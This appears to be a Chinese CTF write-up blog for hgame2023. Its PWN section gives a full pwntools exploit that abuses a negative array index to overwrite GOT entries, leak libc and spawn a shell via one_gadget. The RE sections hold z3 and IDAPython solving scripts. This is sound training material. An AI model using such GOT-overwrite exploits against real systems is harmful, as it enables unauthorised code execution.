# hgame2023 部分题记录
做的主要是二进制 杂项做了一些 然后做了一道 IOT 有关 MQTT 的 50 分的题 一道 web 签到题 (打开页面源码就有那种)
记录了一些个人认为需要记录的题
# WEEK1
# PWN
# choose_the_seat
IDA 中查看 没有后门函数 没有 bin/sh 字符串 认为和 ret2libc 有关可能要泄漏 got 表
检查保护,只开了 nx 保护 (No-eXecute, 不可执行保护) RELRO 为 Partial RELRO 也就是说 got 表可以修改
# RELRO 保护补充
在 Linux 中有两种 RELRO 模式: Partial RELRO
和 Full RELRO
。Linux 中 Partical RELRO
默认开启。如果开启 FUll RELRO
,意味着我们无法修改 got 表,这样也就没法通过修改 GOT 表来进行 Return-to-libc 攻击
hint 是数组越界,通过查找资料发现
# 数组越界
所谓的数组越界,简单地讲就是指数组下标变量的取值超过了初始定义时的大小,导致对数组元素的访问出现在数组的范围之外,这类错误也是 C 语言程序中最常见的错误之一。
在 C 语言中,数组必须是静态的。换而言之,数组的大小必须在程序运行前就确定下来。由于 C 语言并不具有类似 Java 等语言中现有的静态分析工具的功能,可以对程序中数组下标取值范围进行严格检查,一旦发现数组上溢或下溢,都会因抛出异常而终止程序。也就是说,C 语言并不检验数组边界,数组的两端都有可能越界,从而使其他变量的数据甚至程序代码被破坏。
我们可以用数组越界漏洞,将 got 表里 printf 函数的地址修改成 system(‘/bin/sh’”)的地址,那么程序在之后调用 printf 函数时,实际上调用的是函数 system(‘/bin/sh’”),这样我们就获得了目标主机的控制权限。
这里有个 if (v0>9) 退出 而若要数组越界 v0==10 所以考虑 v0 为负数产生越界
seats 是储存在 bss 中,可以反向越界修改 got 表
根据 got 表中的偏移可以计算出用到的下标的大小
泄漏 got 表 之前我还没看偏移 纯动态调试…🙁
-10 之后 覆盖到这里了!!!
-9 覆盖到 put
-7 是 read
偏移计算得 - 6 覆盖到 exit 退出函数
开始写 EXP
第一步:通过修改 exit 函数的 got 表为 start 让程序反复执行
p.recvuntil(b'one.\n') | |
p.sendline(b'-6') | |
p.recvuntil(b'name\n') | |
p.send(p64(elf.symbols['_start']))#['vuln'] | |
#反复执行 |
第二步:泄漏 read 地址
p.recvuntil(b'one.\n') | |
p.sendline(b'-7') | |
p.recvuntil(b'name\n') | |
p.send(b'\xc0') | |
#让后面的 puts 泄露 read 真实地址 | |
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b"\x00")) | |
print(hex(read_addr)) |
p.send (b’\xc0’) 是因为程序开了 aslr 保护(最后三位不变)偏移不变
可查看 got 表查看 read 函数最后偏移就是 c0 这里没有修改 read 函数 目的就是泄漏
最后这里用了 one_gadget 工具
one_gadget 就是用来去查找动态链接库里 execve ("/bin/sh", rsp+0x70, environ) 函数的地址的
因为环境问题若要本地打通自己配置了一下 libc 和 ld …
# EXP:
from pwn import * | |
context.log_level = "debug" | |
context.terminal = ["konsole", "-e"] | |
p = process("./vuln") | |
#p = remote() | |
elf = ELF("./vuln") | |
libc = ELF("./libc-2.31.so") | |
#p = remote("",10000) | |
#gdb.attach(p,"b* $rebase(0xadf)") | |
p.recvuntil(b'one.\n') | |
p.sendline(b'-6') | |
p.recvuntil(b'name\n') | |
p.send(p64(elf.symbols['_start']))#['vuln'] | |
#反复执行 | |
p.recvuntil(b'one.\n') | |
p.sendline(b'-7') | |
p.recvuntil(b'name\n') | |
p.send(b'\xc0') | |
#让后面的 puts 泄露 read 真实地址 | |
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b"\x00")) | |
print(hex(read_addr)) | |
libc_base=read_addr-libc.symbols["read"] | |
print(hex(libc_base)) | |
one_gadget=[0xe3b04,0xe3b01,0xe3afe] | |
shell=libc_base+one_gadget[1] | |
p.recvuntil(b'one.\n') | |
p.sendline(b'-6') | |
p.recvuntil(b"name\n") | |
p.send(p64(shell)) | |
p.interactive() | |
#libc 版本问题? |
# WEEK3
春节太忙了 week3 题没怎么做 啊哈哈…
# RE
# kunmusic
DLL 放进 DIE 或看附件的 JS 文件得知是一个.NET 程序
dnspy 打开找到 main 函数
断点 dump 出 data 由 MZ 文件头发现是一个二进制文件 (64 位的 dnspy)
用 winhex 新建为文件
DIE 查看是 .NET 的 DLL 文件
再动调 (静态也能看) 发现 dump 出的 dll 有个 music 函数有个巨大的 if 判断 用 z3 解就行了 然后后面有一个数组异或解出的数据就是 flag
from z3 import * | |
array = [132,47,180,7,216,45,68,6,39,246,124,2,243,137,58,172,53,200,99,91,83,13,171,80,108,235,179,58,176,28,216,36,11,80,39,162,97,58,236,130,123,176,24,212,56,89,72] | |
num = [BitVec('x%d' % i, 8) for i in range(13)] # 初始化序列 | |
s = Solver() # 创建约束求解器 | |
s.add(num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 41236) + num[4] * 63747 + | |
num[5] - 52714 + num[6] - 10512 + num[7] * 12972 + num[8] + 45505 + num[9] - 21713 + | |
num[10] - 59122 + num[11] - 12840 + (num[12] ^ 21087) == 12702282) | |
s.add( num[0] - 25228 +(num[1] ^ 20699) + (num[2] ^ 8158) + num[3] - 65307 + num[4] * 30701 + num[5] * 47555 + | |
num[6] - 2557 + (num[7] ^ 49055) + num[8] - 7992 + (num[9] ^ 57465) + (num[10] ^ 57426) + | |
num[11] + 13299 + num[12] - 50966 == 9946829) | |
s.add( num[0] - 64801 + num[1] - 60698 + num[2] - | |
40853 + num[3] - 54907 + num[4] + 29882 + (num[5] ^ 13574) + (num[6] ^ 21310) + num[7] + | |
47366 + num[8] + 41784 + (num[9] ^ 53690) + num[10] * 58436 + num[11] * 15590 + num[12] + | |
58225 == 2372055) | |
s.add( num[0] + 61538 + num[1] - 17121 + num[2] - 58124 + num[3] + 8186 + | |
num[4] + 21253 + num[5] - 38524 + num[6] - 48323 + num[7] - 20556 + num[8] * 56056 + | |
num[9] + 18568 + num[10] + 12995 + (num[11] ^ 39260) + num[12] + 25329 == 6732474) | |
s.add( num[0] - | |
42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 + (num[4] ^ 16284) + num[5] + 39390 + | |
num[6] * 11803 + num[7] * 60332 + (num[8] ^ 18491) + (num[9] ^ 4795) + num[10] - 25636 + num[11] - | |
16780 + num[12] - 62345 == 14020739) | |
s.add( num[0] - 10968 + num[1] - 31780 + (num[2] ^ 31857) + num[3] - | |
61983 + num[4] * 31048 + num[5] * 20189 + num[6] + 12337 + num[7] * 25945 + (num[8] ^ 7064) + num[9] - | |
25369 + num[10] - 54893 + num[11] * 59949 + (num[12] ^ 12441) == 14434062) | |
s.add( num[0] + 16689 + num[1] - | |
10279 + num[2] - 32918 + num[3] - 57155 + num[4] * 26571 + num[5] * 15086 + (num[6] ^ 22986) + | |
(num[7] ^ 23349) + (num[8] ^ 16381) + (num[9] ^ 23173) + num[10] - 40224 + num[11] + 31751 + | |
num[12] * 8421 == 7433598) | |
s.add( num[0] + 28740 + num[1] - 64696 + num[2] + 60470 + num[3] - 14752 + | |
(num[4] ^ 1287) + (num[5] ^ 35272) + num[6] + 49467 + num[7] - 33788 + num[8] + 20606 + | |
(num[9] ^ 44874) + num[10] * 19764 + num[11] + 48342 + num[12] * 56511 == 7989404) | |
s.add( (num[0] ^ 28978) | |
+ num[1] + 23120 + num[2] + 22802 + num[3] * 31533 + (num[4] ^ 39287) + num[5] - 48576 + (num[6] ^ 28542) + | |
num[7] - 43265 + num[8] + 22365 + num[9] + 61108 + num[10] * 2823 + num[11] - 30343 + num[12] + | |
14780 == 3504803) | |
s.add( num[0] * 22466 + (num[1] ^ 55999) + num[2] - 53658 + (num[3] ^ 47160) + | |
(num[4] ^ 12511) + num[5] * 59807 + num[6] + 46242 + num[7] + 3052 + (num[8] ^ 25279) + num[9] + | |
30202 + num[10] * 22698 + num[11] + 33480 + (num[12] ^ 16757) == 11003580) | |
s.add( num[0] * 57492 + | |
(num[1] ^ 13421) + num[2] - 13941 + (num[3] ^ 48092) + num[4] * 38310 + num[5] + 9884 + num[6] - | |
45500 + num[7] - 19233 + num[8] + 58274 + num[9] + 36175 + (num[10] ^ 18568) + num[11] * 49694 + | |
(num[12] ^ 9473) == 25546210) | |
s.add( num[0] - 23355 + num[1] * 50164 + (num[2] ^ 34618) + num[3] + | |
52703 + num[4] + 36245 + num[5] * 46648 + (num[6] ^ 4858) + (num[7] ^ 41846) + num[8] * 27122 + | |
(num[9] ^ 42058) + num[10] * 15676 + num[11] - 31863 + num[12] + 62510 == 11333836) | |
s.add( num[0] * 30523 + (num[1] ^ 7990) + | |
num[2] + 39058 + num[3] * 57549 + (num[4] ^ 53440) + num[5] * 4275 + num[6] - 48863 + | |
(num[7] ^ 55436) + (num[8] ^ 2624) + (num[9] ^ 13652) + num[10] + 62231 + num[11] + 19456 + num[12] - 13195 == 13863722) | |
flag = [] | |
text=47*[0] | |
for i in range(len(array)): | |
text[i] = (array[i] ^num[i % len(num)]) | |
for i in range(13): | |
s.add(text[i] < 127) # 添加约束条件 | |
s.add(text[i] >= 32) | |
if s.check() == sat: # 检测是否有解 | |
result = s.model() | |
for i in num: # 因为最后得出的是等式,先遍历 temp,把 temp 的每个依次赋给 i | |
flag.append(result[i]) # 然后找到每个 temp 对应的解,附加到空列表的后面 | |
print(flag) | |
else: | |
print('无解') | |
flag=[236, 72, 213, 106, 189, 86, 62, 53, 120, 199, 15, 93, 133] | |
text = "" | |
for i in range(len(array)): | |
text += chr(array[i] ^flag[i % len(flag)]) | |
print(text) | |
'''输出结果: | |
[236, 72, 213, 106, 189, 86, 62, 53, 120, 199, 15, 93, 133] | |
hgame{z3_1s_very_u5eful_1n_rever5e_engin3ering}''' |
这里注意后面的异或之后才是 flag
每次用 z3 解 flag 都要用约束条件 32-127 才行不然就是乱码 不知道有没有别的解决办法
flag 为 hgame
# Cpp
cpp 虚函数相关
hint 给了个 pdb 文件 用 IDA 加载符号之后看 main 函数
将 v8 的类型改成 encrypt2*,后面的函数调用就会非常清晰。(上图为改后,没想到这一步的也可以动态调试着做)
func7 是判断 flag 正确与否的函数 那么 func2 func6 就是关键
先在函数窗口找到 func7 提取出比较数据
[0x28, 0x50, 0xC1, 0x23, 0x98, 0xA1, 0x41, 0x36, 0x4C, 0x31, 0xCB, 0x52, 0x90, 0xF1, 0xAC, 0xCC, 0x0F, 0x6C, 0x2A, 0x89, 0x7F, 0xDF, 0x11, 0x84, 0x7F, 0xE6, 0xA2, 0xE0, 0x59, 0xC7, 0xC5, 0x46, 0x5D, 0x29, 0x38, 0x93, 0xED, 0x15, 0x7A, 0xFF]
func2 像是某种初始化,一系列赋值
func6 就是异或加密
重点就是提取出异或的数据
这里看看 string2int 函数
这看了 WP 还没搞懂… 等大佬们的博客 ing
# patchme
IDA 打开找到 main 函数
根据题目 应该是要 patch 某个地方
在 main 函数附近找到了一个在 main 函数之前执行的一个自解密函数
idapython 的脚本进行异或操作
import idc | |
addr = 0x14C6 | |
for i in range(961): | |
idc.patch_byte(addr+i, idc.get_wide_byte(i+addr) ^ 0x66) |
然后汇编修改上面的 jnz 变 jz 下面的变 jmp 保存 patch 再异或保存文件 再运行就行了
IDA-》edit-》Patch program-》Assemble 修改,然后 IDA-》edit-》Patch program-》Apply patches to input file 保存 (可选择备份但不如自己备份)
loc_164A 就是输出 flag 函数
执行结果:
flag 为 hgame